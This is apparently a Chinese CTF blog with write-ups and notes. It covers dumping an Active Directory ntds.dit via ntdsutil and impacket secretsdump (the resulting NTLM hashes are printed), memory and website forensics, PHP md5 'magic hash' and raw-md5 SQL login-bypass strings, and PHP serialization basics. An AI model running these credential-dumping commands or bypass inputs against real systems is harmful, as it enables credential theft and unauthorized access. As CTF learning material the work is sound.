6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ntdsutil.exe: 活动实例设置为“ntds”。
ntdsutil.exe: ifm: 正在创建快照...
成功生成快照集 {f9c1f274-352f-439a-bdaa-7c3dd12b17c9}。
快照 {2c502f9f-0060-4286-a0f3-f1c10becc9db} 已作为 C:\$SNAP_202204161011_VOLUMEC$\ 装载
已装载快照 {2c502f9f-0060-4286-a0f3-f1c10becc9db}。
正在启动碎片整理模式...
     源数据库: C:\$SNAP_202204161011_VOLUMEC$\Windows\NTDS\ntds.dit
     目标数据库: c:\windows\temp\new\Active Directory\ntds.dit

                  Defragmentation  Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................

正在复制注册表文件...
正在复制 c:\windows\temp\new\registry\SYSTEM
正在复制 c:\windows\temp\new\registry\SECURITY
快照 {2c502f9f-0060-4286-a0f3-f1c10becc9db} 已卸载。
在 c:\windows\temp\new 中成功创建 IFM 媒体。
ifm: ntdsutil.exe: 1d3632
然后和前一题一样使用压缩包打包，密码是 FakePassword123$，不得不说挺有迷惑性的：
1
cd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab
我们用 impacket 的 secretsdump 脚本导出密钥信息，注意要历史密钥：
1
python secretsdump.py -system "domainhacker2_184c16876d41965a695f89232ae5392d\new\registry\SYSTEM" -security "domainhacker2_184c16876d41965a695f89232ae5392d\new\registry\SECURITY" -ntds "domainhacker2_184c16876d41965a695f89232ae5392d\new\Active Directory\ntds.dit" LOCAL -just-dc-ntlm -history
省略了中间的一些邮箱服务检测账户：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0xf5a55bb9181f33269276949d2ad680e5
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 752aa10b88b269bd735d54b802d5c86c
[*] Reading and decrypting hashes from C:\Users\YuGao\Downloads\domainhacker2_184c16876d41965a695f89232ae5392d\new\Active Directory\ntds.dit
test.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:a85016dddda9fe5a980272af8f54f20e:::
test.local\Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:07ab403ab740c1540c378b0f5aaa4087:::
test.local\Administrator_history1:500:aad3b435b51404eeaad3b435b51404ee:34e92e3e4267aa7055a284d9ece2a3ee:::
test.local\Administrator_history2:500:aad3b435b51404eeaad3b435b51404ee:34e92e3e4267aa7055a284d9ece2a3ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Admin:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
test:1003:aad3b435b51404eeaad3b435b51404ee:4f95f1c5acfc3b972a1ce2a29ef1f1c5:::
test_history0:1003:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
test_history1:1003:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
PDC$:1004:aad3b435b51404eeaad3b435b51404ee:416f89c3a5deb1d398a1a1fce93862a7:::
PDC$_history0:1004:aad3b435b51404eeaad3b435b51404ee:77c3da77dc1b7a6c257ba59cd4633209:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d9c46df1a433693842082203898424f:::
EXCHANGE$:1107:aad3b435b51404eeaad3b435b51404ee:8f203498c3054ed0e01efc9d1da10ecd:::
EXCHANGE$_history0:1107:aad3b435b51404eeaad3b435b51404ee:c5c7378155dc9d28ad53d8c1f9e9d915:::
......
test1:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::
test1_history0:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::
test1_history1:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::
test1_history2:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::
test1_history3:1149:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
SDC$:1151:aad3b435b51404eeaad3b435b51404ee:9f40caf799bf0d110fdf08b3bf3eb6c0:::
SDC$_history0:1151:aad3b435b51404eeaad3b435b51404ee:8f3cfaf7a6290b735bcbba5b60d554d4:::
SDC$_history1:1151:aad3b435b51404eeaad3b435b51404ee:7bfe440904b9611776477b85eea398fc:::
testnew$:1152:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::
WIN-PJ6ELFEG09P$:1153:aad3b435b51404eeaad3b435b51404ee:6533cba50e01cace16567ec5691e587f:::
testcomputer$:1154:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::
t$:1155:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::
tt$:1156:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::
WebApp01$:1157:aad3b435b51404eeaad3b435b51404ee:b021fa4e92913d91a6eade97884f508b:::
aaa:1158:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
[*] Cleaning up...
题目要的是 administrator 的上一次 ntlm，别弄错了！
flag{07ab403ab740c1540c378b0f5aaa4087}
电子取证
手机取证
感觉是推销盘古石取证的题（雾），用给的工具找就行了，纯粹的签到题。
计算机取证_1
用老牌工具 volatility 直接 hashdump 即可，值得注意的是 volatility3 的使用方法和 v2 有很大的不同，网上也没啥教程，摸索了半天。
下面的是最后弄出来的最简单的办法，中途用的是 volshell，非常折磨。
1
.\vol.py -f 1.dmp windows.hashdump.Hashdump
1
2
3
4
5
6
7
8
9
Volatility 3 Framework 2.3.0
Progress:  100.00               PDB scanning finished
User    rid     lmhash  nthash

Administrator   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
taqi7   1000    aad3b435b51404eeaad3b435b51404ee        7f21caca5685f10d9e849cc84c340528
naizheng        1002    aad3b435b51404eeaad3b435b51404ee        d123b09e13b1a82277c3e3f0ca722060
qinai   1003    aad3b435b51404eeaad3b435b51404ee        1c333843181864a58156f3e9498fe905
拿 7f21caca5685f10d9e849cc84c340528 去 MD5 网站查询得到是 anxinqi。
计算机取证_2
还是用的 volatility：
1
.\vol.py -f "C:\Users\YuGao\Documents\Tencent Files\2645943187\FileRecv\计算机取证\1.dmp" windows.pslist.PsList > log.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Volatility 3 Framework 2.3.0

PID    PPIDImageFileNameOffset(V)ThreadsHandlesSessionIdWow64CreateTimeExitTimeFile output

4    0System0xfa800ccc7890105623N/AFalse2022-04-28 05:38:41.000000 N/ADisabled
288    4smss.exe0xfa800d9c3610229N/AFalse2022-04-28 05:38:41.000000 N/ADisabled
384    376csrss.exe0xfa800e10074094860False2022-04-28 05:38:42.000000 N/ADisabled
424    376wininit.exe0xfa800e4a38403780False2022-04-28 05:38:43.000000 N/ADisabled
436    416csrss.exe0xfa800e4a7b30106451False2022-04-28 05:38:43.000000 N/ADisabled
492    416winlogon.exe0xfa800e50b06051161False2022-04-28 05:38:43.000000 N/ADisabled
532    424services.exe0xfa800e52391062160False2022-04-28 05:38:43.000000 N/ADisabled
544    424lsass.exe0xfa800e52fb3066140False2022-04-28 05:38:43.000000 N/ADisabled
552    424lsm.exe0xfa800e489060112090False2022-04-28 05:38:43.000000 N/ADisabled
...
1020    776audiodg.exe0xfa800e6f706061310False2022-04-28 05:38:44.000000 N/ADisabled
420    532svchost.exe0xfa800e72206095300False2022-04-28 05:38:44.000000 N/ADisabled
956    532ZhuDongFangYu.0xfa800e749b30263940True2022-04-28 05:38:44.000000 N/ADisabled
1040    532svchost.exe0xfa800e75a950236360False2022-04-28 05:38:44.000000 N/ADisabled
1300    532spoolsv.exe0xfa800e85b570123130False2022-04-28 05:38:45.000000 N/ADisabled
1336    532svchost.exe0xfa800e88cb30173210False2022-04-28 05:38:45.000000 N/ADisabled
1440    532svchost.exe0xfa800e9076304810True2022-04-28 05:38:45.000000 N/ADisabled
1548    532vmtoolsd.exe0xfa800e9c674092760False2022-04-28 05:38:45.000000 N/ADisabled
1960    532svchost.exe0xfa800eabd06051010False2022-04-28 05:38:46.000000 N/ADisabled
1612    532dllhost.exe0xfa800eb07b30131860False2022-04-28 05:38:46.000000 N/ADisabled
2068    532msdtc.exe0xfa800eb36b30121440False2022-04-28 05:38:48.000000 N/ADisabled
2512    532svchost.exe0xfa800eabe980111460False2022-04-28 05:40:46.000000 N/ADisabled
2584    532svchost.exe0xfa800ea79b30133350False2022-04-28 05:40:46.000000 N/ADisabled
2648    532SearchIndexer.0xfa800eaa8310116580False2022-04-28 05:40:47.000000 N/ADisabled
1792    660WmiPrvSE.exe0xfa800ea7a0f071140False2022-04-28 05:42:48.000000 N/ADisabled
916    532taskhost.exe0xfa800cdf4b3092091False2022-04-28 05:42:55.000000 N/ADisabled
972    920dwm.exe0xfa800cdfe2103701False2022-04-28 05:42:55.000000 N/ADisabled
2044    1716explorer.exe0xfa800e585b305313351False2022-04-28 05:42:55.000000 N/ADisabled
2672    2044vmtoolsd.exe0xfa800e83eb3072091False2022-04-28 05:42:56.000000 N/ADisabled
2664    2044ldnews.exe0xfa800e84f780103631True2022-04-28 05:42:56.000000 N/ADisabled
2436    956360Tray.exe0xfa800ea2558015014551True2022-04-28 05:42:57.000000 N/ADisabled
3500    2288LiveUpdate360.0xfa800edc8b30183051True2022-04-28 05:43:13.000000 N/ADisabled
4012    3784360TptMon.exe0xfa800ee90b30174151True2022-04-28 05:43:22.000000 N/ADisabled
3316    532svchost.exe0xfa800ee6bb303570True2022-04-28 05:43:23.000000 N/ADisabled
3396    2436SoftMgrLite.ex0xfa800eb76b30303601True2022-04-28 05:44:13.000000 N/ADisabled
3496    2044TrueCrypt.exe0xfa800ec4b63052681True2022-04-28 05:46:22.000000 N/ADisabled
2964    3496TrueCrypt Form0xfa800ea45b300-1False2022-04-28 05:46:35.000000 2022-04-28 05:47:59.000000 Disabled
2548    2648SearchProtocol0xfa800ed7872073160False2022-04-28 05:52:53.000000 N/ADisabled
2872    2044notepad.exe0xfa800ec2e6f01621False2022-04-28 05:54:13.000000 N/ADisabled
2192    2044MagnetRAMCaptu0xfa800f103b30163331True2022-04-28 05:54:30.000000 N/ADisabled
3880    2436360speedld.exe0xfa800ea7b9104941True2022-04-28 05:54:54.000000 N/ADisabled
3604    660dllhost.exe0xfa800ef76b306911False2022-04-28 05:54:55.000000 N/ADisabled
可以看到有个 MagnetRAMCaptu，一看就是制作内存镜像的，PID 就是答案。
网站取证_1
直接搜索常见的木马特征如 assert eval 等发现直接找到了。
后门在 runtime\temp 目录下。
网站取证_2
直接源码搜索“数据库”，发现有个 database.php 规定了数据库有关信息。
引用了 encrypt/encrypt.php，并且密码由 my_encrypt() 生成。
继续跟进，找到函数 my_encrypt，运行即可：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function my_encrypt(){
    $str = 'P3LMJ4uCbkFJ/RarywrCvA==';
    $str = str_replace(array("/r/n", "/r", "/n"), "", $str);
    $key = 'PanGuShi';
    $iv = substr(sha1($key),0,16);
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,"",MCRYPT_MODE_CBC,"");
    mcrypt_generic_init($td, "PanGuShi", $iv);
    $decode = base64_decode($str);
    $dencrypted = mdecrypt_generic($td, $decode);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $dencrypted = trim($dencrypted);
    return $dencrypted;
}
得到答案 KBLT123
网站取证_3
发现金额有关的变量名都和 money 有关，源码搜索，发现 $param['money'] = $this->encrypt($param['money']);
查看 encrypt 函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function encrypt($data, $key = 'jyzg123456')
{
    $key = md5($key);
    $x  = 0;
    $len = strlen($data);
    $l  = strlen($key);
    $char = '';
    $str = '';
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
            $x = 0;
        }
        $char .= $key{$x};
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
    }
    return base64_encode($str);
}
发现 Salt 就是 jyzg123456。
网站取证_4
把数据库中表以及列的作用都弄明白：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
COMMENT ON COLUMN "public"."tab_user"."id" IS '用户id';
COMMENT ON COLUMN "public"."tab_user"."name" IS '用户名';
COMMENT ON COLUMN "public"."tab_user"."password" IS '用户密码';
COMMENT ON COLUMN "public"."tab_user"."role" IS '用户权限角色
1：超级管理员
2：系统管理员
3：仓库管理员
4：门店管理员
5：分销商
6：装修公司
7：业务员
8：技术员';
COMMENT ON COLUMN "public"."tab_user"."state" IS '激活状态（1：激活使用  ，2：暂停使用）';
COMMENT ON COLUMN "public"."tab_user"."belong_to" IS '所属门店';
COMMENT ON COLUMN "public"."tab_user"."nick_name" IS '用户姓名';
COMMENT ON COLUMN "public"."tab_user"."sex" IS '性别（1：男   2：女）';
COMMENT ON COLUMN "public"."tab_user"."tel" IS '联系电话';
COMMENT ON COLUMN "public"."tab_user"."address" IS '地址';
COMMENT ON COLUMN "public"."tab_user"."report_num" IS '业务员最大报备数';
COMMENT ON COLUMN "public"."tab_user"."is_create_time" IS '创建时间';
COMMENT ON TABLE "public"."tab_user" IS '用户表';
    
INSERT INTO "public"."tab_user" VALUES (3, '张宝', '967ee505bd742d713528ad2e55a04bba', 3, 1, NULL, '', 1, '', '', NULL, '158720003133', NULL, '2018-04-09 19:00:00');
INSERT INTO "public"."tab_user" VALUES (4, '李进', '34b5c38d19b3352df6db3e976b237d37', 3, 1, NULL, '', 1, '', '', NULL, '18765877676', NULL, '2018-04-09 19:00:00');
INSERT INTO "public"."tab_user" VALUES (5, '王子豪', 'f783ca62ff21833fdcfe3b74e1a82e1c', 3, 1, NULL, '王子豪', 1, '', '', NULL, '', NULL, '2020-04-18 16:04:53');
INSERT INTO "public"."tab_user" VALUES (6, '赵燕', 'bca725be29834465fa5a9e3bc6423b48', 3, 1, NULL, '赵燕', 2, '', '', NULL, '', NULL, '2020-04-18 16:06:06');
INSERT INTO "public"."tab_user" VALUES (1, 'superAdmin', 'ca6d00723bc83590c909b0decc97e34d', 1, 1, NULL, '', 1, '', '', NULL, '158736346560', NULL, '2018-04-08 18:02:21');
INSERT INTO "public"."tab_user" VALUES (2, 'admin', 'aa590a519a1c4862c5051a9bb0e07456', 2, 1, NULL, '', 1, '', '', NULL, '158736377751', NULL, '2018-04-09 18:22:21');

COMMENT ON COLUMN "public"."tab_channel_order_list"."order_num" IS '订单号';
COMMENT ON COLUMN "public"."tab_channel_order_list"."currency" IS '币种';
COMMENT ON COLUMN "public"."tab_channel_order_list"."remark" IS '备注';
COMMENT ON COLUMN "public"."tab_channel_order_list"."is_create_time" IS '创建时间';
COMMENT ON COLUMN "public"."tab_channel_order_list"."payee_id" IS '收款人ID';
COMMENT ON COLUMN "public"."tab_channel_order_list"."payer_id" IS '付款人ID';

-- ----------------------------
-- Records of tab_channel_order_list
-- ----------------------------
INSERT INTO "public"."tab_channel_order_list" VALUES (1, '271188138699', 'GG币', NULL, '2022-04-01 00:00:50', 4, 2, 'nJ1xlG5v');
...
INSERT INTO "public"."tab_channel_order_list" VALUES (5000, '622260854407', 'GG币', NULL, '2022-04-30 23:55:13', 4, 3, 'lJRvnWtr');
将语句处理成易于读取的格式：
data.txt：
1
2
3
4
5
6
(1, '271188138699', '2022-04-01 00:00:50', 4, 2, 'nJ1xlG5v')
(2, '272206877227', '2022-04-01 00:23:01', 4, 3, 'lpZqmGps')
...
(4998, '331754109613', '2022-04-30 23:32:04', 6, 2, 'mplrlW9p')
(4999, '109211499552', '2022-04-30 23:35:25', 4, 6, 'mphwnXBr')
(5000, '622260854407', '2022-04-30 23:55:13', 4, 3, 'lJRvnWtr')
exchange_rate.txt：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
('1', 0.05, '2022-04-01')
('2', 0.04, '2022-04-02')
('3', 0.06, '2022-04-03')
('4', 0.05, '2022-04-04')
('5', 0.07, '2022-04-05')
('6', 0.10, '2022-04-06')
('7', 0.15, '2022-04-07')
('8', 0.17, '2022-04-08')
('9', 0.23, '2022-04-09')
('10', 0.22, '2022-04-10')
('11', 0.25, '2022-04-11')
('12', 0.29, '2022-04-12')
('13', 0.20, '2022-04-13')
('14', 0.28, '2022-04-14')
('15', 0.33, '2022-04-15')
('16', 0.35, '2022-04-16')
('17', 0.35, '2022-04-17')
('18', 0.37, '2022-04-18')
('19', 0.38, '2022-04-19')
('20', 0.40, '2022-04-20')
('21', 0.38, '2022-04-21')
('22', 0.39, '2022-04-22')
('23', 0.45, '2022-04-23')
('24', 0.44, '2022-04-24')
('25', 0.50, '2022-04-25')
('26', 0.55, '2022-04-26')
('27', 0.51, '2022-04-27')
('28', 0.52, '2022-04-28')
('29', 0.53, '2022-04-29')
('30', 0.50, '2022-04-30')
然后提取出题目要求的转账记录，根据前一题的加密脚本解密，然后按照汇率转成 RMB，求和即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

function decrypt($data, $key = 'jyzg123456') {
    $key = md5($key);
    $x = 0;
    $data = base64_decode($data);
    $len = strlen($data);
    $l = strlen($key);
    $char = '';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= $key[$x];
        $x++;
    }
    for ($i = 0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) - ord($char[$i]) + 256) % 256);
    }
    return $str;
}
$file = fopen("exchange_rate.txt", "r");
$rate = array();
while(!feof($file)) {
    $str = fgets($file);
    list($id, $x, $time) = sscanf($str, "(%s %f, %s)");
    $rate[] = $x;
}
fclose($file);
// 3 -> 5
$file = fopen("data.txt", "r");
$res = 0;
while(!feof($file)) {
    $str = fgets($file);
    list($id_1, $id_2, $date, $time, $to, $from, $enc) = sscanf($str, "(%d, %s %s %s %d, %d, %s)");
    if ($from != 3 || $to != 5) {
        continue;
    }
    $enc = substr($enc, 1, strlen($enc) - 3);
    $date = substr($date, strlen($date) - 2, 2) - 1;
    if ($date < 1 || $date > 17) {
        continue;
    }
    $res = $res + $rate[$date] * decrypt($enc);
}
echo $res;
fclose($file);
最后答案是 15758353.76


在CTF中常用到的PHP函数
2022-03-04T11:56:37.000Z
本文列举了一些在 CTF 比赛中常用到的 PHP 函数。
参数与字符串相关的函数
在 PHP8.x 中，这些函数不再接受数组的参数，会抛出 Fatal error 并结束运行，以下不再赘述。
在之前版本中能接受数组型参数这一特性常被网上称之为内置函数的松散性，虽然我也不懂为啥这样叫。。
md5
以 32 字符十六进制数字形式返回散列值。
1
md5($str[, bool $raw_output = FALSE])
raw_output
如果可选的 raw_output 被设置为 TRUE, 那么将以 16 字节长度的原始二进制格式返回
如果参数为数组将会返回 NULL 并发出 Warning。
也可以借助返回以 0e 开头的数字字符串来实现绕过弱类型比较。
一些常见的例子：
字符串 md5值
byGcY 0e591948146966052067035298880982
sonZ7y 0e463306343746311593316642162425
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s1665632922a 0e731198061491163073197128363787
s1836677006a 0e481036490867661113260034900752
当然真正意义上的 md5 碰撞也是存在的，不过 CTF 应该不会涉及这么深吧。。
贴个链接：https://natmchugh.blogspot.com/2014/10/how-i-created-two-images-with-same-md5.html
有意思的是，如果第二个参数是 true，可以弄出神奇的效果。
假如有这样的 SQL 语句：
1
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password, true)."'"
然后有这样的字符串：
1
2
3
4
echo md5("129581926211651571912466741651878684928", true);
// T0Do#'or'8
echo md5("ffifdyop", true);
// 'or'6]!r,b
就能绕过 md5 的加密了。
sha1
和 md5 函数利用差不多，真正意义上的 sha1 碰撞也是存在的，不过 CTF 应该不会涉及这么深吧。。
贴个链接：https://shattered.it/
hash
1
2
3
4
5
6
hash(
    string $algo,
    string $data,
    bool $binary = false,
    array $options = []
): string
其实是一个哈希函数的集中调用，具体有哪些算法可见 hash_algos() 返回的数组，而常用的 md5、sha1 等也包括在里面，只是因为更常用被单独列出来了。
在 PHP8.x 之后传入不存在的哈希算法会直接抛出错误，之前则是返回一个 false,而且这个信息在官方中文文档没有提及，只有英文原版才有 Changelog
一些和 md5 一样神奇的骚操作：
1
2
3
echo hash("whirlpool", '364383',  true);
// TNF    /$=/!%.i<0'='ITQ
//        r=%͞nNŶvL
strcmp
1
strcmp($str1, $str2); // 比较两个字符串是否相等
返回值：
如果 str1 小于 str2 返回 < 0
如果 str1 大于 str2 返回 > 0
如果两者相等，返回 0
如果某个参数为数组将返回 NULL 并发出 Warning。
存在弱类型比较的函数
in_array
1
in_array(mixed $needle, array $haystack, bool $strict = false): bool
参数名非常的生动形象，大海捞针(●’◡’●)。
注意到第三个参数 strict，默认是 false，即采用弱类型比较（==）来查找，可以参考我的另一篇文章，里面有对 PHP 弱类型比较的详解。。
举个例子：
1
2
3

var_dump(in_array('1e05', [100000, 2, 3, 4, 5]));       // bool(true)
var_dump(in_array('1e05', [100000, 2, 3, 4, 5], true)); // bool(false)
array_search
1
array_search(mixed $needle, array $haystack, bool $strict = false): int|string|false
和 in_array 类似。
举个例子：
1
2
3

var_dump(array_search('5e05', [1, 2, 3, 4, 500000]));       // int(4)
var_dump(array_search('5e05', [1, 2, 3, 4, 500000], true)); // bool(false)



PHP中的序列化与反序列化
2022-02-28T02:52:41.000Z
序列化和反序列化是非常重要的概念，不仅仅存在于 CTF，也广泛的存在于平时操作中，本文就介绍一下序列化、反序列化的基础知识以及常见的可能出现的漏洞。
定义
序列化：把对象转化为可传输的字节序列过程称为序列化。
反序列化：把字节序列还原为对象的过程称为反序列化。
事实上可以反序列的类型并不只有对象，但是对象是最常见的。
一般来说匿名函数是无法被序列化和反序列化的，但通过一些拓展库比如 Opis Closure 也能做到这两点。
为了能够 unserialize() 一个对象，这个对象的类必须已经定义过。如果序列化类 A 的一个对象，将会返回一个跟类 A 相关，而且包含了对象所有变量值的字符串。
如果要想在另外一个文件中反序列化一个对象，这个对象的类必须在反序列化之前定义，可以通过包含一个定义该类的文件或使用函数 spl_autoload_register() 来实现。
用处
正如定义所强调的可传输，有了序列化和反序列化，对象可以跨平台存储，和进行网络传输。又或者说将运行时的数据保存到本地，下次运行再唤醒。甚至因为规定了序列化的方式，我们可以类似 JSON 一样跨语言使用对象。
结构
此处参考了网上的文章，笔者根据新版本做了一些修订，写了一些例子。但初始出处已经不可考证，故不放链接。
PHP 对不同类型的数据用不同的字母进行标示：
字母标识 数据类型
a array
b boolean
d double
i integer
o common object
r reference
s string
S escaped binary string
C custom object
O class
N null
R pointer reference
U unicode string
接下来介绍一些常见的类型序列化后字符串的结构：
字符串
字符串型数据（string）被序列化为：
s::"";
其中  是源字符串的字节数，而非  看上去的长度。
举个例子：
1
2
3
4

$s = "一个测试";
echo serialize($s);
// s:12:"一个测试";
输出结果为 ``。
数组
数组（array）通常被序列化为：
a::{...}
举个例子：
1
2
3
4

$arr = array('a', 'b', 'c', 'd');
echo serialize($arr);
// a:4:{i:0;s:1:"a";i:1;s:1:"b";i:2;s:1:"c";i:3;s:1:"d";}
对象
序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法。
对象类型（object）通常被序列化为：
O::""::{...}
其中  表示对象的类名的字符串长度。 表示对象中的字段个数。这些字段包括在对象所在类及其祖先类中用 public、protected 和 private 声明的字段，但是不包括 static 和 const 声明的静态字段。也就是说只有实例（instance）字段。、…… 表示每个字段的字段名，而 、…… 则表示与字段名所对应的字段值。
字段名和字段值会被分别序列化。
字段名是字符串型，序列化后格式与字符串型数据序列化后的格式相同。
字段值可以是任意类型，其序列化后的格式与其所对应的类型序列化后的格式相同。
但字段名的序列化与它们声明的可见性是有关的，下面重点讨论一下关于字段名的序列化。
var 和 public 声明的字段都是公共字段，甚至可以说它们等价，因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化，但序列化后的字段名中不包括声明时的变量前缀符号 $。
protected 声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可见。因此保护字段的字段名在序列化时，字段名前会加上 \0*\0，这里的 \0 表示 ASCII 码为 0 的字符 NUL。
private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。**因此私有字段的字段名在序列化时，字段名前会加上 \0\0。**这里  表示的是声明该私有字段的类的类名，而不是被序列化的对象的类名。因此声明该私有字段的类不一定是被序列化的对象的类，而有可能是它的祖先类。
字段名被作为字符串序列化时，字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
为了更好的体现字段名中包括根据其可见性所加的前缀，我使用了 urlencode，举个例子：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

class Flag {
    public $flag = "this is a private object";
}
class Test {
    const _const = "this is aconst";
    public $var = "this is a var";
    public $public = "this is a public";
    protected $protected = "this is a protected";
    private $private;
    static $static = "this is a static";
    public function __construct() {
        $this->private = new Flag();
    }
}
$test = new Test();
echo urlencode(serialize($test));
// O%3A4%3A%22Test%22%3A4%3A%7Bs%3A3%3A%22var%22%3Bs%3A3%3A%22var%22%3Bs%3A6%3A%22public%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00protected%22%3Bs%3A9%3A%22protected%22%3Bs%3A13%3A%22%00Test%00private%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bs%3A24%3A%22this+is+a+private+object%22%3B%7D%7D
把可见字符给 decode 一下，就变成了 O:4:"Test":4:{s:3:"var";s:3:"var";s:6:"public";s:6:"public";s:12:"%00*%00protected";s:9:"protected";s:13:"%00Test%00private";O:4:"Flag":1:{s:4:"flag";s:24:"this is a private object";}}，留意 protected 和 private 的字段名前缀。
魔术方法
这一块其实是 PHP 类的内容。
魔术方法是一种特殊的方法，当对象执行某些操作时会覆盖 PHP 的默认操作，下面列举一些 CTF 中常用的魔术方法，参考 PHP 官方文档。
__wakeup()
函数原型：public __wakeup(): void
__wakeup() 经常用在反序列化操作中，例如重新建立数据库连接，或执行其它初始化操作。unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。
__unserialize()
函数原型：public __unserialize(array $data): void
unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法，则只有 __unserialize() 方法会生效，__wakeup() 方法会被忽略，此特性自 PHP 7.4.0 起可用。
__toString()
函数原型：public __toString(): string
__toString() 方法用于一个类被当成字符串时应怎样回应。
一些常见的触发情景：
1、echo($obj) / print(\$obj) 打印时会触发。
2、反序列化对象与字符串连接时。
3、反序列化对象参与格式化字符串时。
4、反序列化对象与字符串进行 == 弱类型比较时。
5、反序列化对象参与格式化SQL语句，绑定参数时。
6、反序列化对象在作为接收字符串参数函数如 strlen()、addslashes()、class_exists() 的参数时。
7、在 in_array() 方法中，第一个参数是反序列化对象，第二个参数的数组中有 __toString 返回的字符串的时候 __toString 会被调用。
…
__invoke()
函数原型：__invoke( ...$values): mixed
当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。
举个例子：
1
2
3
4
5
6
7
8
9

class Test {
  function __invoke($x) {
    echo "\${$x} is called as a function";
  }
}
$test = new Test();
$test("test");
// $test is called as a function
__destruct()
函数原型：__destruct(): void
PHP 有析构函数的概念，这类似于其它面向对象的语言，如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
重载
直接照搬的 PHP 文档
属性重载
函数原型：
1
2
3
4
public __set(string $name, mixed $value): void
public __get(string $name): mixed
public __isset(string $name): bool
public __unset(string $name): void
在给不可访问（protected 或 private）或不存在的属性赋值时，__set() 会被调用。
读取不可访问（protected 或 private）或不存在的属性的值时，__get() 会被调用。
当对不可访问（protected 或 private）或不存在的属性调用 isset() 或 empty() 时，__isset() 会被调用。
当对不可访问（protected 或 private）或不存在的属性调用 unset() 时，__unset() 会被调用。
参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。
属性重载只能在对象中进行。在静态方法中，这些魔术方法将不会被调用。所以这些方法都不能被声明为 static。将这些魔术方法定义为 static 会产生一个警告。
方法重载
函数原型：
1
2
public __call(string $name, array $arguments): mixed
public static __callStatic(string $name, array $arguments): mixed
在对象中调用一个不可访问方法时，__call() 会被调用。
在静态上下文中调用一个不可访问方法时，__callStatic() 会被调用。
$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组，包含着要传递给方法 $name 的参数。
